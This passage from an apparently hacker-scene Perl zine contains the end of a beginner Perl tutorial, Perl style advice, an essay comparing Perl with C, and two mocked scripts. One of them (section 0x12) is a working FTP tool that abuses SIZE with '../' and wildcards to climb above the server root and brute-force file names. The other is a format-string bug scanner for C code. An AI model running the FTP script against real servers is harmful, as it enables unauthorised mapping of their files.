from a specific variable. The syntax for this shortcut is simply:
$variable++; #increments $variable
$variable--; #decrements $variable
Thus, we could rewrite the while loop used previous with "$i++" instead of
"$i = $i + 1" and achieve the same result:
-----
$i = 0;
while ($i <= 10) {
print "$i is not more than 10\n";
$i++; #we could also use $i += 1
}
-----
The for/foreach loop is a bit trickier to understand than the while loop.
The following is the same as our previous while loop that prints "$i is
not more than 10\n" and then adds one to $i, but it is implemented with a
for loop instead:
-----
for ($i = 0; $i <= 10; $i++) {
print "$i is not more than 10\n";
}
-----
The most confusing area is the line directly after the keyword "for",
which in the while, if, and if/else control structures held a value that
needed to return true for the body of the structure to be executed. In the
for (and foreach, as we'll discuss in a moment) control structure, this
area is broken down into three sections which are separated by semicolons.
The first section is where the counter variable is assigned a value. As
the for loop is used primarily to repeat something a specific number of
times, it usually uses a variable to keep track of how many times the body
of the loop has been executed. In the while loop, we executed the body of
the loop 11 times (0 -- 10) and used the $i variable to keep track of how
many times we had iterated (gone through) the loop. The variable used for
this purpose is referred to as the counter, as it counts the number of
times we have iterated through the loop. In this case, the counter is $i
and here it is assigned a value of 0:
for ($i = 0; $i <= 10; $i++) {
The second section of the above line, which begins immediately after the
first semicolon and is terminated with the second semicolon, supplies the
condition that must be met for the body of the loop to be executed. In
this case, the variable $i must be less than or equal to ten ($i <= 10)
for another iteration of the loop to take place.
The last of the three sections between the parentheses, which begins
directly after the second (and final) semicolon, is the action that must
be performed on the counter variable at the end of each iteration of the
loop. In this case, 1 is added to the current value of $i ($i++).
Note that the variables used in the three different sections of the first
line do not have to be the same; we could have used completely different
variables such as:
for ($i = 0; $j <= 10; $k++)
However, this doesn't make much sense and defeats the purpose of the for
loop, which is to have a cleaner and more organized way of iterating
through a loop a specific number of times.
Also note that the foreach loop works exactly the same way as the for
loop. The following accomplishes the same thing as the for and while loops
we used before:
-----
foreach($i = 0; $i <= 10; $i++) {
print "$i is not more than 10\n";
}
-----
There are alternate uses for the for/foreach loop and we will cover them
in upcoming sections.
Note that these are not the only control structures that Perl provides.
You may also hear about or see the until and unless control structures.
The until control structure is the exact opposite of a while loop: it
executes its body as long as the condition it is given is false. The
unless control structure is the opposite of the if control structure: it
executes its body if the condition it is given is false. Finally, we'll
also cover the if/elsif/else control structure later in this tutorial.
| Arrays |
We discussed scalar variables earlier -- scalar variables were one
variable assigned one value. Now we'll discuss arrays, which are one
variable assigned multiple values. Arrays will prove quite useful for
organizing data, and although the idea of one variable with several values
may sound like a confusing idea as well as one that isn't necessary,
you'll soon see that it is actually quite easy to understand and quite
useful. Following is a diagram that charts scalar variables and array
variables, and how they are organized:
Scalar:
$variable ->
"value"
name ->
value
Array:
@array ->
"value 1"
27
"another value"
34565
name ->
0
1
2
3
The first diagram shows the anatomy of a scalar variable. A variable, in
this case one named $variable, is assigned a value, in this case the
string "value". Simple enough; we've been doing that since almost the
beginning of this tutorial.
The second diagram shows the anatomy of an array. A variable, in this case
one named @array, is assigned multiple values, in this case "value 1", 27,
"another value", and 34565. If you take a look at the bottom row, you'll
notice that each value has an index number: the first value has an index
of 0, the second value has an index of 1, the third an index of 2, and the
fourth an index of 3. As an array variable can hold many values, we need a
way to define which value we are referring to when we use the name of the
array in our program. The index numbers assist us in this -- when we want
to refer to an element of an array variable, we use the name of the array
and the index number of the element. For example, we could refer to the
string "another value", which is an element of the array @array, as
"@array, index 2" (as that string has an index number of 2 in @array).
You may have noticed by now that the variable name is "@array" and not
"$array". Array variables are prefixed with the @ symbol, while scalar
variables are prefixed with the $ symbol. To confuse things even more,
when we refer to an individual element of an array, we prefix the array
name with $ and not @. This is because an individual element of an array
is scalar data by itself, and when a variable holds one piece of data,
scalar data, it is prefixed with $. When we are referring to the array as
a whole, however, it holds several pieces of data, so we prefix it with @.
All this discussion is useless if we do not know how to implement it
within our Perl scripts though. The following code is used to declare an
array that holds the values "value one", "another value - value two", 39,
and 908.
@new_array = ("value one", "another value - value two", 39, 908);
It was previously mentioned that a specific element of an array is
accessed by using the name of the array and the index number of the
element. How is that implemented in our Perl code though? Take a look at
the following example:
-----
print $new_array[0] . "\n";
-----
This line prints the element at index 0 in @new_array concatenated with a
newline (note that we used $new_array as opposed to @new_array, as a
specific element of an array is by itself scalar data -- one piece of
data). Thus, the above is the same as the line:
-----
print "value one\n";
-----
If you study the first example you'll be able to tell that to access an
individual element of an array, we use the name of the array followed the
index number, which is enclosed in square brackets. Once we've specified
it's location, we can treat it similar to other scalar variables (if
you're saying 'huh? But it's in an array, so it isn't a scalar variable!',
the answer is that while it's in an array, it is a scalar variable by
itself. This is an important concept to grasp, which is why I've repeated
it several times :P)...perform mathematical expressions on it, assign it a
value, print it, and perform a variety of other operations on it.
I mentioned earlier in this tutorial that the for/foreach loop had other
uses and that I would cover them later on. "Later on" has arrived. It
turns out that the for/foreach loop can be used to iterate through the
elements of an array. The foreach loop is in this way close to English in
that is says "foreach @array", which translates to "foreach element of
@array". As an example, the following code is used to print each element
of the array we used previously, @new_array:
-----
foreach (@new_array) {
print $_;
}
-----
There is one question concerning the above code that will probably arise,
and it is worth an explanation -- you, the reader, are probably sitting
there going "Wtf does '$_' mean?!" The answer is that in the above
example, the current element of @new_array for each iteration is stored in
$_.
If we wanted to change the variable name that this value was stored in, we
would simply add the variable to store the value in immediately before the
part of the first line that reads "(@new_array)". For example, the
following code does the same thing as the last bit of code used to
demonstrate the foreach loop but it stores the current element of the
array in $a_var as opposed to $_:
-----
foreach $a_var (@new_array) {
print $a_var;
}
-----
| Input |
So far we've seen how to send data to standard output, but receiving input
from users is often a requirement for a useful script. This is actually a
fairly easy task in Perl. The following example receives some input from a
user and stores it in the variable $teh_inputz0r:
-----
chomp($teh_inputz0r = <STDIN>);
-----
<STDIN> is the main component here. The less than and greater than symbols
denote a file handle to be used and "STDIN" is the name of the file handle
(in this case, standard input; yes, standard input is represented as a
file). An understanding of how file handles work is not needed to
understand standard input though, and file handles will not be covered in
this tutorial. In other words, <STDIN> represents standard input, which is
usually input received from the keyboard. In this case, we're assigning
the input to a variable, $teh_inputz0r ($teh_inputz0r = <STDIN>).
The chomp function simply removes the ending newline of a string. When the
user enters text that is assigned to $teh_inputz0r, it is terminated with
a newline. The chomp function removes that trailing newline from the
string.
| Wrapping It Up |
I've decided to release my Perl tutorial in several parts. This is part
one, and part two, along with a possible part three, will introduce more
concepts such as hashes, functions, regular expressions, sockets, and
more. This tutorial should have provided a very basic, although not quite
complete, introduction to Perl and my future tutorials will build upon
that. Expect them to be out in not too long.
I've decided to add an extra feature to this tutorial to demonstrate some
very basic ways the information presented in this tutorial can be used.
This is a simple script that covers most of the topics introduced in this
text. It receives several numbers as input from the user and finds the
average of them. Note that before it does this, it asks the user to enter
how many numbers they will be entering. This is a (somewhat simple)
example example of what arrays can do that simple scalar variables can
not. Here's the script:
-----
#!/usr/bin/perl
# Finds the average of numbers entered by the users
print "This script allows you to enter however many numbers you choose and
then finds the mean of those numbers. How many numbers will you be
entering? ";
chomp ($count = <STDIN>);
for ($i = 0; $i < $count; $i++) {
print "Enter number: ";
chomp ($num = <STDIN>);
push @num_array, $num
}
foreach (@num_array) {
$average += $_;
}
$average /= $count;
print "The average is $average.\n";
# The end.
-----
http://dynamichell.com
http://binaryuniverse.net
http://anomalous-security.org
http://st0rage.org
http://brain-hack.org
| Shouts |
Shouts to mu, dlab, Cryptic, Oropix, deep, CreepyNodque, Sintigan, ScM,
Tele, Ic3D4ne, Ee77, ponyboy, Inviz, and everyone that I forgot.
I hope you enjoyed this tutorial and learned something from it. Won't be
long until part two's here! :)
-Ch4r
# I bet none of those can code Perl worth a shit either ;)
# End Lame Tut
-[0x11] # School You: Juerd ----------------------------------------------
# Here's some good advice from the one and only Juerd
# Somebody that actually knows what he's talking about
Random bits of Perl advice
Learn jargon
To understand documentation, you need to know the jargon that it uses.
This jargon is different from other programming languages, so don't think
your Java or C knowledge is any help.
Learning the jargon is part of the normal learning process. I recommend
Beginning Perl, a free online book written by Simon Cozens.
Here is an incomplete list of things that you will need to understand:
An object is a reference to a blessed variable.
A list is not the same as an array.
There are three main contexts: void context, scalar context and list
context.
Things are named or anonymous.
The language is Perl, the implementation is perl. Never write PERL.
There are different operators for strings and numbers.
Some operators perform short circuit logical operations, and these have
high and low precedence versions.
There are lexical variables, package global variables and package global
variables that are always in the main namespace.
Parameters are expected, arguments are passed.
An operator is either a unary, binary or ternary operator, or a list
operator.
A statement consists of one or more expressions.
You can use alternative delimiters to avoid the leaning toothpick
syndrome.
If there is anything in this list you didn't know already or don't
understand, go and find the documentation that explains it.
Keep style consistent
Programming style is a matter of personal preference, but there is one
thing that every style should have: consistency. I have described my
style, and it's a good idea to describe your own style. That way you make
sure you cover important stuff, and it's a handy document to give people
who are programming for you.
Write what you mean
Write what you mean, not just something that happens to work. This means
you should use scalar @array to get the number of elements in @array, and
not $#array + 1, because that would mean the index of the last element of
@array plus one.
Avoid high indenting levels
Code blocks and other things should be indented properly, of course, but
when you have a maze of nested code blocks, think about writing it
differently. Perl has some nice controlled forms of goto that actually
make code easier to read. They are redo, last and next. Also, avoid having
huge blocks indented. Any given code block larger than 24 lines is hard to
read.
For example, this:
for (...) {
unless (foo) {
# lots of code here
} else {
# some code here
}
}
can be written as:
for (...) {
if (foo) {
# some code here
next;
}
# lots of code here
}
That way, it is immediately clear that nothing else is going to happen.
This is also why you write open ... or die $!; instead of:
if (open ...) {
# entire
# program
# here
} else {
print STDERR $!;
}
__END__
Consider using or next and or last.
Avoid having to clean up
If you get your data clean, you don't have to clean it up. For example,
you can read in a file and then remove lines that contain only whitespace,
but it's better to just make sure there are no such lines in the first
place:
my $file; /\S/ and $file .= $_ while readline $fh;
Most of the time, when you have an s/// with nothing in the RHS (right
hand side), that means you're cleaning up because of mistakes you made
before. (Or it is user input, and you really wanted to capture what you
want instead of remove what you don't want.)
Let Perl help you
When you use strict, Perl forces you to declare variables before you can
use them. This means sticking my in front of a variable the first time you
use it. That way, Perl knows when you make a typo. This can save you many
hours of debugging.
When you use warnings or the -w command line argument, Perl gives
additional warnings. This can be unwanted in rare situations, but you can
just use no warnings there to temporarily disable them.
When hiring a programmer or buying code, never accept code that doesn't
use strict, unless they have a very good reason. That reason should be
explained at the place where use strict normally is: the top of the file.
Know where to find help
First stop is documentation. Never ask for help before trying to figure it
out on your own. If you ask for help and you get a reference to
documentation as the answer, don't whine, but read that documentation.
People have already written answers to your questions. This was done to
avoid having to answer the same questions over and over.
The official Perl documentation is available using the perldoc tool. To
start reading, type perldoc perl. This will guide you to other documents,
like perldoc perlvar, which explains all the special variables.
You can get Perl help at PerlMonks, #perlhelp on EFnet, several usenet
groups and many more places.
Oh, and remember that receiving help is a privilege, not a right. It's
okay to ask for help, it's not okay to demand help.
### Style by Juerd ####
Perl style guide
This is how I like my code, in no specific order. :)
4 space indents
No tabs in code (includes indents)
Always Class->method, never method Class (this includes "new"!)
Cuddled else: } else {
Opening curly on the same line as the keyword it belongs to
Closing vertically aligned with that keyword
Space after comma or semi-colon, but not before
No extra spaces around or inside parens: foo, (bar, baz), quux
Extra spaces in arrayref constructor: [ foo, bar ]
Extra spaces in hashref constructor: { foo => bar }
Extra spaces in code delimiting curlies: sort { $a <=> $b } @foo
No $a or $b except when sorting
No parens unless needed for clarity
Space between special keyword and its arguments: if (...) { ... }
No space between keyword and its arguments if the "looks like a function, therefor it is a function" rule applies: print((split)[22]), not print ((split)[22]). (And of course not print (split)[22])
No subroutine prototypes if they're ignored anyway
No subroutine prototypes just to hint the number of arguments
Prototypes enforce context, so use them only if that makes sense
No globals when access from another package is not needed
use strict and -w. Loading of normal modules comes after loading strict.
Lots of modules, but not to replace few-liners or simple regexes
Comments on code lines have two spaces before and one after the # symbol
No double spaces except for vertical alignment and comments
Only && || ! where parens would be needed with and or not
No double empty lines
Empty line between logical code chunks
Explicit returns from subs
Guards (return if ...) are nicer than large else-blocks
No space between array/hash and index/key: $foo[0], $foo{bar}
No quotes for simple literal hash keys
Space around index/key if it is complex: $foo{ $bar{baz}{bar} }
Long lines: indent according to parens, but always 4 spaces (or [], {}, etc)
Long lines: continuing lines are indented
Long lines: Lines end with operator, unless it's || && and or
No "outdent"s
No half indents
No double indents
grep EXPR and map EXPR when BLOCK is not needed
Logical order in comparisons: $foo == 4, but never 4 == $foo
English identifiers
Not the English.pm module
Multi-word identifiers have no separation, or are separated by underscores
Lowercase identifiers, but uppercase for constants
Whatever tool is useful: no OO when it does not make sense
It's okay to import symbols
No here-documents, but multi-line q/qq. Even repeated prints are better :) (Okay, here-docs can be used when they're far away from code that contains any logic. Code MUST NOT break when (un)indented.)
Always check return values where they are important
No spaces around: -> **
Spaces around: =~ !~ * / % + - . << >> comparison_ops & | ^ && || ?: assignment_ops => and or xor
Spaces or no spaces, depending on complexity: .. ... x
No space after, unless complex: ~ u+ u-
Long lines: break between method calls, -> comes first on a line, space after it
=> where it makes sense
qw where useful
qw when importing, but '' when specifying pragma behaviour
() for empty list, not qw()
-> to dereference, where possible
No abbreviations (acronyms are okay, and so are VERY common abbreviations) NEVER "ary"
Data type not represented in variable name: %foo and @foo, but not %foo_hash or @foo_array
Sometimes: data type of referent in reference variable names: $bla_hash is okay
Sometimes: data type 'reference' in reference variable names: $hashref is okay
No one-letter variable names, unless $i or alike
$i is a(n index) counter
Dummy variables can be called foo, bar, baz, quux or just dummy
Taint mode *only* for setuid programs
No sub main(), unless it needs to be called more often than once
Subs before main code!
Declare variables on first use, not before (unless required)
\cM > \x0d > \015. \r only where it makes sense as carriage return.
Complex regexes get /x
No space between ++/-- and the variable
List assignment for parameters/arguments, not lots of shifts
Only shift $self from @_ if @_ is used elsewhere in the sub
Direct @_ access is okay in very short subs
No eval STRING if not needed
Constructor "new" does not clone. Only handles a *class* as $_[0]
Constructor that clones is called "clone"
Constructor can be something else than "new", but "new" is an alias
No setting of $| when it is not needed
Lexical filehandles
No v-strings
Single quotes when double-quote features not used
In DBI: value interpolation using placeholders only
use base 'BaseClass' instead of use BaseClass and setting @ISA
Comments where code is unclear
Comments usually explain the WHY, not the HOW
POD at the bottom, not top, not interleaved
Sane variable scopes
No local, except for perlvar vars
No C-style loop for skipless iteration
No looping over indexes if only the element is used
80 characters width. It's okay to give up some whitespace
Unbalanced custom delimiters are not metacharacters and not alphanumeric
RHS of complex s///e is delimited by {}
Favourite custom delimiter is []
Semi-colon only left out for implicit return or in single-statement block
No $&, $` or $'
Localization of globals if they're to be changed (local $_ often avoids weird bugs)
Semi-colon not on its own line
(in|de)crement in void context is post(in|de)crement
No map or grep in void context
? and : begin lines in complex expressions
True and false are always implied. No $foo == 0 when testing for truth.
Only constructors return $self. Accessor methods never do this.
Stacking methods is okay, but a non-constructor method should never return $self.
Accessor methods should behave like variables (Attribute::Property!)
Other methods should behave like subroutines
our $VERSION, not use vars qw($VERSION);
Module version numbers are ^\d+\.\d\d\z
Error checking is done using or. This means open or do { ... } instead of unless (open) { ... } when handling the error is more than a simple statement.
The result of the modulus operator (%) has no useful boolean meaning (it is reversed), so explicit == 0 should be used.
-[0x12] # byterage dropped the ball --------------------------------------
use IO::Socket;
$cmd = "SIZE";
@chars = ('A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'0','1','2','3','4','5','6','7','8','9','.');
# yeah, I'm sure you need that...
if (!($host = $ARGV[0])) { $host = "127.0.0.1"; } print "Logging on @ $host:";
if (!($port = $ARGV[1])) { $port = "21"; } print "$port as user ";
if (!($loginid = $ARGV[2])) { $loginid = "anonymous"; } print "${loginid}:";
if (!($loginpwd = $ARGV[3])) { $loginpwd = "anonymous"; } print "${loginpwd}\n";
# definitely the best way to do that
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "Couldn't create socket !"; $sock->autoflush();
print "\nLogging in...\n";
$reply = <$sock>;
print $reply; print "USER ${loginid}\015\012";
print $sock "USER ${loginid}\015\012";
$reply = <$sock>; print $reply;
print "PASS ${loginpwd}\015\012";
print $sock "PASS ${loginpwd}\015\012";
do {
$reply = <$sock>; print "$reply";
} while $reply !~ /230\s/;
print "\nDetermining root directory...\n";
$level = 0;
$rootdir = "";
# my my my
do {
print $sock "$cmd ${rootdir}*\015\012";
$reply = <$sock>; print $reply;
print $sock "$cmd ${rootdir}../*\015\012";
$reply2 = <$sock>; print $reply2;
if (!($reply eq $reply2)) { $rootdir .= "../"; $level++; }
} while (!($reply eq $reply2));
# ! is hot, !
print "The harddrive's root directory is apparently ${level} directories up\nCorrect manually if you want to map another directory.\n";
print "\nMapping directory...\n";
$lastchar = $chars[($#chars)];
# heh
${file} = "";
do {
print $sock "$cmd ${rootdir}${file}?\015\012";
$reply = <$sock>;
# haven't seen that one before!
if ($reply =~ /213\s/) {
for ($ind = 0; $ind<(@chars); $ind++) {
# C style for! C style for!
print $sock "$cmd ${rootdir}${file}$chars[$ind]\015\012";
$reply = <$sock>;
if ($reply =~ /213\s/) {
print "${rootdir}${file}$chars[$ind]\n";
}
}
$file .= $chars[0];
} else {
do {
print $sock "$cmd ${rootdir}${file}*\015\012";
$reply = <$sock>;
if ($reply =~ /213\s/) {
print $sock "$cmd ${rootdir}${file}\015\012";
$reply = <$sock>;
if ($reply !~ /213\s/) {
$file .= $chars[0];
} else {
do {
if (length($file) > 0) {
$lastc = chop($file);
} else {
break;
}
} while ($lastc eq $lastchar);
# who taught you how to code algorithms? who taught you to do shit this way?
# How'd you survive? I can barely look at half this
if (length($lastc) == 1) {
for ($ind = 0; $ind<$#chars; $ind++) {
if ($lastc eq $chars[$ind]) { $file .= $chars[$ind+1]; break; }
}
}
}
} else {
do {
if (length($file) > 0) {
$lastc = chop($file);
} else {
break;
}
} while ($lastc eq $lastchar);
if (length($lastc) == 1) {
for ($ind = 0; $ind<$#chars; $ind++) {
if ($lastc eq $chars[$ind]) { $file .= $chars[$ind+1]; break; }
}
}
}
} while ($reply =~ /213\s/);
}
} while !($file eq "");
# great end to that block...
close($sock);
exit;
-[0x13] # School You: tilly ----------------------------------------------
# Don't be closed minded
If you are comparing to C in a web environment be absolutely sure to nail
some collection of the following points:
CGI is an environment where security matters. In software today the single
largest source of security holes is still the lowly buffer overflow. If
you use Perl this is completely eliminated. This is before the wins you
can get from things like taint checking.
The single most common bug in C is off by one fencepost errors. If you
consistently loop over lists in Perl using foreach you virtually eliminate
this error. (The number one security hole and the number one bug both
gone!) Perl also frees you from the effort and the common mistakes in
memory allocation.
CPAN is the single largest repository of freely available code for any
language. While quality varies, there is a very long list (CGI, DBI,
Template::Toolkit...) of extremely good software to build on.
Perl has an exceptional amount of built-in functionality for direct string
manipulation. Considering that web programming is largely concerned with
string manipulation, this is a big win.
Perl has a large and friendly community. For instance you can find plenty
of good examples, get questions answered online, find discussions of best
practices, and many other resources that help programmers improve.
Perl is portable. Sure, C is portable in theory. But in practice sizeable
C projects tend to take work to port between platforms. By contrast people
in the Perl world frequently just throw their code on a networked
file-server and just expect that it will run unchanged on different
machines running different operating systems.
Perl is portable, again. The standard libraries on CPAN often make the
same internal API available when interfacing with multiple external
resources. For instance with DBI it is trivial to write a program which
will not only run unchanged against the most popular half-dozen relational
databses out there, but it will even allow you to store the information in
a collection of CSV files. Which database you connect to and work against
can come down to a configuration variable.
Perl can be faster. Straight CGI programs tend to be slow because of the
overhead of starting programs, opening database connections, etc. However
it is not hard to develop a site in Perl using CGI and then move the
execution into the webserver, for instance by using mod_perl on Apache.
This eliminates startup times, allows you to cache connections, etc. Doing
the same in C would involve writing a custom webserver?
Perl can be faster, again. With native data types like hashes Perl makes
it easy to come up with algorithmically efficient answers to problems.
Perl can be faster, again. Perl's RE engine has some breathtaking
optimizations. For instance if you wanted to check for whether the string
"this is amazing" appeared in another string, in Perl you would write: if
($string =~ /this is amazing/) { # etc
You could write that in C, it would be more work, but you can. However the
naive C implementation will not succeed in searching the string faster
than you can walk the string. Perl's naive implementation both can and
does. Matching that in C is possible (if Perl does it it has to be, after
all Perl is written in C) but takes a lot of work to do.
Perl is faster, again. As noted by several people, Perl is a master of the
school of being maintainable by virtue of being short and sweet both in
terms of lines of code and (more importantly) conceptually. Shortness
correlates directly to speed and ease of writing, ease of testing, and
ease of debugging.
Now before you stand up and cheer, you will face several complaints that
you should be ready for.
Perl is untyped! A type system may be regarded as a test of an official
spec for an API. The extent to which things you would want to be tested in
the spec cannot be said and checked in the type system is the extent to
which the type system failed to do you any good. For instance in C the
type system is unable to document important limitations like the maximum
length of string that will fit in a buffer. Perl's dynamic data types
generally keep these from being errors in the first place. Also you can
point out that in practice many typed languages, aren't. For background on
this I recommend the following amusing Java example and Dominus has a
wonderful article on Typing that is very informative.
Perl is line noise! Perl's syntax is actually fairly easy to get the hang
of. While it is possible to write very obtuse Perl code, as perlstyle
says, Perl is designed to give you several ways to do anything, so
consider choosing the most readable one. With a little attention, Perl is
quite good on the readability front without requiring verboseness.
Who uses Perl? Perl tends to be a great stealth tool. While officially
virtually nobody uses it, in reality Perl books sell very well, and they
sell to working programmers. Perl may not be "respectable", but it is
effective. There are some who are willing to admit to their success
stories, but there are also a lot of cases like the unnamed but large
(very large I assure you) Wall St company that hired Damian Conway in
mid-Febuary to teach several internal seminars but who wrote into their
contract that he would not say who they were! (I heard the story minus the
name from the horse's mouth, and the story with the name from several
other people.)
Perl is not scalable! Real life success rates in software don't say good
things about the scalability of any software language. Perl scales a lot
farther than most people realize. Of course if you write a single straight
script, you will fall over. But if you use strict, private namespaces with
package, etc people routinely manage to write and maintain systems in the
tens of thousands of lines without problems. More importantly given the
expressiveness of Perl, many of those would be in the hundreds of
thousands of lines in another language. Given the quadratic development
inefficiencies as you add bodies, the difference between 30,000 lines and
150,000 for the same task is not insignificant.
Perl programmers are hard to find. With Perl good programmers can be more
productive. The history of software engineering does not have encouraging
successes for the popular model of throwing many bodies at problems. Perl
aims to make existing bodies more effective instead.
Perl uses too many magic variables You don't have to use them. I didn't.
Perl isn't multi-threaded At Threads vs Forking (Java vs Perl) you will
find a discussion of my opinions on that. Suffice it to say that IMNSHO
anyone who is unable to give an impromptu lecture on problems with
threading (for instance a talk about why reversing multi-threading onto
code that is not thread-safe is intrinsically hard) has no business trying
to deal with it.
Does that help? :-)
-[0x14] # ilya loses his reputation --------------------------------------
# I'm not even going to comment on this ilya.
# The code speaks for itself
$debug = 0;
@var = ("extern ", "double", "float", "const ", "void ", "char ", "int ", "long ", "struct ", "unsigned ", "signed ", "short ", "int ", "static ", "register ");
if ($ARGV[0] eq "")
{
help();
}
open(fp, $ARGV[0]) || die("[--]Can't open $ARGV[0] :: $!");
@all = <fp>;
close(fp);
$line = 0;
$opened = 0;
$closed = 0;
$comment = 0;
print "Indexing potentially harmful functions (this might take a while)...";
foreach (@all)
{
$line++;
print "$line\n"; # /*
start_comment();
if($comment == 0 && /^(.*)\/\*(.*)$/)
{
$comment = 1;
print "+ $1\n";
} # */
end_comment();
if($comment == 1 && /^(.*)\*\/(.*)$/)
{
$comment = 0;
print "- $2\n";
}
# print "[$line]$comment - ";
for ($i = 0; $i <= @var; $i++)
{
#should be done over multiple lines
# still to come !
# print "here\n" ;
if(/^$var[$i].*\(.*,( *)\.\.\.(.*)( *)\)(.*)$/ && $comment == 0)
{
# print "$_\n";
$linecounter = $line;
$stop_the_count = 0;
if(/^.*{.*$/)
{
$opened++;
}
if(/^.*}.*$/)
{
$closed++;
}
# this'll change @all, a problem ???
if(/^(.*)( *)(.*)\((.*)\)/)
{
$matrix{$name}{2} = getargs($4);
}
# ;? added becoz of prototyping ...
s/^(.*)( *)(.*)\((.*)\)( *);?/$1/g;
$name = get_name($1);
# 0 = begin, 1 = end, 2 = how many arguments ?
if ($opened == $closed && $opened != 0)
{
$matrix{$name}{0} = $linecounter;
$matrix{$name}{1} = $line;
$opened = 0;
$closed = 0;
$stop_the_count = 1;
}
}
}
if(/^(.*){(.*)$/ && $stop_the_count != 1 && $comment == 0)
{
$opened++;
}
if(/^(.*)}(.*)$/ && $stop_the_count != 1 && $comment == 0)
{
$closed++;
}
if ($opened == $closed && $opened != 0)
{
# 0 = begin, 1 = end, 2 = how many arguments ?
$matrix{$name}{0} = $linecounter;
$matrix{$name}{1} = $line;
$opened = 0;
$closed = 0;
$stop_the_count = 1;
}
}
# print "\n\ngoes from:$matrix{$name}{0}\nto:$matrix{$name}{1}\n";
print " done\nChecking the code now\n\n\n";
$line = 0;
foreach (@all)
{ # we need multi-line support
# <funct> ( <args>, <where bugs is>, <optional args>)
# \--> know these\args \
# \--> check these\args
# \--> don't care bout these args
$line++ ;
if(/^(.*)([ \)]+)sprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/)
{
print "found formatstring bug at line $line\n$_\n\n";
}
if(/^(.*)([ \)]+)snprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/)
{
print "found formatstring bug at line $line\n$_\n\n";
}
elsif(/^(.*)([ \)]+)syslog( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/)
{
print "found formatstring bug at line $line\n$_\n\n";
}
elsif(/^(.*)([ \)]+)fprintf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*,([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/)
{
print "found formatstring bug at line $line\n$_\n\n";
}
#/^$/
elsif(/^(.*)([ \)]+)printf( *)\(([ ])*([a-zA-Z_])+([a-zA-Z0-9_()])*([ ])*\)(.*)$/)
{
print "found formatstring bug at line $line\n$_\n\n";
}
}
sub get_name
{
local($temp);
foreach (split(" ",$_))
{
$temp = $_;
}
if ($debug)
{
print "\n[$line] $temp";
}
return(remove_asterisk($temp));
}
#
# this looks crappy, becoz it is,
# I just couldn't get a regex working to filter out "*"
#
sub remove_asterisk
{
local($testit);
$testit = @_[0];
for ($i = 0; $i < length($testit); $i++)
{
if(substr($testit, $i, 1) ne "*")
{
return(substr($testit, $i, length($testit)));
}
}
}
sub getargs
{
local($counter) = 1;
foreach (split(",", @_))
{
$counter++;
}
return($counter);
}
sub help
{
print "run like : $0 <file to audit>\n";
exit;
}
sub start_comment
{ # $i++;
# print "start $i \n";
if($comment == 0 && /^(.*)\/\*(.*)$/)
{
$comment = 1;
if ($2 =~ /\*\//) # print "+ $1\n";
{
print "call end_comment()\n";
end_comment($2);
}
}
}
sub end_comment
{
if($comment == 1 && /^(.*)\*\/(.*)$/)
{
$comment = 0;
if ($2 =~ "/\*") # print "- $2\n";
{
print "call start_comment()\n";
start_comment($2);
}
}
}
# ilya I can't believe I end with that
-[0x15] # Shoutz and Outz ------------------------------------------------
Shouts to those out there that can code Perl. That can write respectible
Perl code. Shouts to those that have respect for what they don't
understand. Shouts to freenode #perl, perlmonks.org, and dedicated Perl
coders everywhere. Shouts to sottle and OutThere, the two guys I came
across from outside the Perl community who wrote Perl worthy of not being
criticized. I hope you enjoyed reading this as much as I enjoyed writing
it. I hope people everywhere learned something. I hope the collective
mindless mass of Perl haters picks up some respect or shuts the fuck up.
___ _ _ _ _ ___ _
| _ | | | | | | | | | | | |
| _|__ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
|_|____|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
Forever Abigail
$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
"Just another Perl Hacker,"
EOF
